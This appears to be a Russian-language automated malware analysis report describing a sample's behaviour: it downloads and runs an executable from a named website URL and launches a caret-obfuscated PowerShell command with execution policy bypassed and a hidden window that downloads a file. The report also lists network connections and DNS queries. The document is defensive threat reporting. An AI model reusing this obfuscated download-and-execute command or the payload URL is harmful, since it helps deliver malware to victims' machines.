Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://nexcontech.com/wp-content/ay4te/mdp5.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^O^WE^RSHeL^l.Exe -^e^XE^cu^TiO^NpOl^IC^y b^YpaSS ^-^noP^rOfilE ^-W^iNd^O^wST^Y^Le h^IdDe^n^ ^(^neW-o^bJ^EC^T s^ysTE^M^.N^E^t.^w^EBC^lie^Nt^)^.DOwNl^Oa^dfil^E(^'http://nexcontec...
Сетевая активность
Подключается к
- 'ne###ntech.com':80
UDP
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- DNS ASK ne###ntech.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^O^WE^RSHeL^l.Exe -^e^XE^cu^TiO^NpOl^IC^y b^YpaSS ^-^noP^rOfilE ^-W^iNd^O^wST^Y^Le h^IdDe^n^ ^(^neW-o^bJ^EC^T s^ysTE^M^.N^E^t.^w^EBC^lie^Nt^)^.DOwNl^Oa^dfil^E(^'http://nexcontec... (со скрытым окном)
